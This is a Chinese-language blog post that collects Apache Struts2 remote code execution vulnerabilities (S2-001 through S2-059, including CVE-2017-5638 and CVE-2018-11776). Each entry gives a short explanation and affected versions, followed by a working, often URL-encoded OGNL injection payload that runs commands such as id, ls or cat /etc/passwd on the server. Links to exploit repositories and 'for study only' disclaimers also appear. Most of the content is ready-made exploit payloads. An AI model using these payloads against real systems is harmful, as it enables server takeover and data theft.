【安全漏洞】Struts2漏洞集合总结
Struts2 漏洞集合
總結了一部分 Strtus2 漏洞,雖然現在這部分的漏洞很少了,但也是學習的一部分,收集的并不全面,后續會做補充。
漏洞環境搭建可以使用在線的 Vulfocus ,或者使用docker部署。
S2-001 (CVE-2007-4556)
該漏洞因為用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行
影響版本
Struts 2.0.0 – Struts 2.0.8
復現過程
在框中輸入%{1+2},會把其中的 value 值進行計算
執行之后,變成了3( OGNL 表達式%{value}執行成功)
Poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}相關學習資料【點擊查看】
S2-007
當 -validation.xml配置的驗證規則。如果類型驗證轉換失敗,則服務器將拼接用戶提交的表單值字符串,然后執行OGNL表達式解析并返回,造成OGNL表達式注入。從而可能造成遠程執行代碼。
當用戶 age 以str而不是的形式提交時 int,服務器將拼接 “‘“ + value + “‘“ 代碼,然后使用OGNL表達式對其進行解析。為了成功完成任務,我們需要找到一個配置有相似驗證規則的表單字段,以產生轉換錯誤。然后,您可以通過注入SQL單引號的方式注入任何OGNL表達式代碼
影響版本
2.0.0 – 2.2.3
Poc
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('find /tmp/ -name flag*').getInputStream())) + 'S2-013(CVE-2013-1966)
Apache Struts2的s:a和s:url標簽都提供了一個includeParams屬性。此屬性允許使用的值包括none、get、all。當該屬性被設置為get或all時,Apache Struts2會將用戶提交的參數值作為Ognl表達式執行。攻擊者可以提交帶有惡意的Ongl表達式,達到執行任意Java代碼的目的。只要基于Apache Struts2開發的JSP代碼中使用了url/a標簽并且設置了includeParams屬性為all或get,遠程攻擊者即可利用此漏執行任意命令。
Poc (注:poc中的符號需要進行 url 編碼之后才可以)
/link.action?fakeParam=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7DS2-012 (CVE-2013-1965)
OGNL 評估已在S2-003和S2-005和S2-009 中得到解決,但是,由于它只涉及參數的名稱,因此結果是基于將可接受的參數名稱列入白名單并拒絕評估參數中包含的表達式的結果修復名稱,僅部分關閉了漏洞。
第二次評估發生在重定向結果從堆棧中讀取并使用先前注入的代碼作為重定向參數時。
這使得惡意用戶可以將任意 OGNL 語句放入由操作公開的任何未經處理的 String 變量中,并將其評估為 OGNL 表達式以啟用方法執行和執行任意方法,從而繞過 Struts 和 OGNL 庫保護。
在配置文件中 Action 中 Result 時使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,可能會導致 OGNL 表達式命令執行。
Poc
%3d%25{%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"cat"%2c "%2fetc%2fpasswd"})).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew java.io.InputStreamReader(%23b)%2c%23d%3dnew java.io.BufferedReader(%23c)%2c%23e%3dnew char[50000]%2c%23d.read(%23e)%2c%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")%2c%23f.getWriter().println(new java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()}%20S2-015 (CVE-2013-2135、CVE-2013-2134)
Struts 2 允許基于通配符定義動作映射,如下所示:
<action name="*" class="example.ExampleSupport"><result>/example/{1}.jsp</result> </action>如果請求不匹配任何其他定義的動作,它將被匹配*并且請求的動作名稱將用于根據動作名稱加載 JSP 文件。并且由于 { 1} 的值被威脅為 OGNL 表達式,因此允許在服務器端執行任意 Java 代碼。這個漏洞是兩個問題的結合:
- 請求的操作名稱未轉義或再次檢查白名單
- TextParseUtil.translateVariables使用組合$和%開放字符時對 OGNL 表達式的雙重評估。
Poc
/$%7B%20%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())%7D.actionS2-048 (CVE-2017-9791)
這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數可以調用 getText() 函數,這個函數剛好又能執行OGNL表達式,同時這個 getText() 的 參數輸入點,又可以被用戶直接進行控制,如果這個點被惡意攻擊者所控制,就可以構造惡意執行代碼,從而實現一個RCE攻擊。
Poc
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}EXP連接 :https://github.com/dragoneeg/Struts2-048
注:僅供參考,請勿用作非法用途。
S2-019
Apache Struts 2.3.15.2之前版本的“Dynamic Method Invocation”機制是默認開啟的,僅提醒用戶如果可能的情況下關閉此機制,這樣就存在遠程代碼執行漏洞,遠程攻擊者可利用此漏洞在受影響應用上下文中執行任意代碼。
Poc
/struts2-showcase-2.1.6/showcase.action?debug=command&expression=%23a%3D(new java.lang.ProcessBuilder('ls')).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char[50000]%2C%23d.read(%23e)%2C%23out%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23out.getWriter().println('dbapp%3A'%2bnew java.lang.String(%23e))%2C%23out.getWriter().flush()%2C%23out.getWriter().close()%0AS2-053
繼S2-052之后,Apache Struts 2再次被曝存在遠程代碼執行漏洞,漏洞編號S2-053,CVE編號CVE-2017-1000112。
當開發人員在Freemarker標簽中使用錯誤的構造時,可能會導致遠程代碼執行漏洞。
影響范圍
Struts 2.0.1 – Struts 2.3.33、Struts 2.5 – Struts 2.5.10
在框中輸入 %{1+1} ,回顯值 2,說明執行成功
Poc
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}S2-057
Apache wiki更新了一個Struts2的遠程代碼執行漏洞(S2-057),漏洞威脅等級為高危,漏洞對應的CVE編號為CVE-2018-11776。 定義XML配置時如果沒有設置namespace的值,并且上層動作配置中并沒有設置或使用通配符namespace時,可能會導致遠程代碼執行漏洞的發生。同樣也可能因為url標簽沒有設置value和action的值,并且上層動作并沒有設置或使用通配符namespace,從而導致遠程代碼執行漏洞的發生。
當Struts2的漏洞利用以下條件時:
- alwaysSelectFullNamespace值為true
- action元素未設置namespace屬性,或使用了通配符
namespace將由用戶從uri傳入,并作為OGNL表達式計算,最終造成任意命令執行漏洞。
Poc
http://your-ip:8080/$%7B233*233%7D/actionChain1.action
Poc(需要url編碼)
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}EXP連接 : https://github.com/mazen160/struts-pwn_CVE-2018-11776
注:僅供參考,請勿用作非法用途。
S2-037 S2-052 s2-033 (這幾個Poc 可以重復使用)
Poc
url/orders/4/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=idS2-059
Poc
=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7dS2-045(CVE-2017-5638) S2-046 (POC通用)
Apache官方發布Struts 2 緊急漏洞公告(S2-046),CVE編號CVE-2017-5638。公告中披露 ,當基于Jakarta插件上傳文件時,可導致遠程代碼執行。例如在系統中獲得管理員權限,執行添加用戶。可任意查看、修改或刪除文件。造成機密數據泄露,重要信息遭到篡改等重大危害。
S2-045漏洞影響的版本有:
Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10
Poc
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-dataPoc
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}z最后:本文僅限于技術參考學習,請勿用于非法用途
總結
以上是生活随笔為你收集整理的【安全漏洞】Struts2漏洞集合总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】SQL注入攻击思路手法总结(
- 下一篇: 【网络安全】某安全网关前端JS分析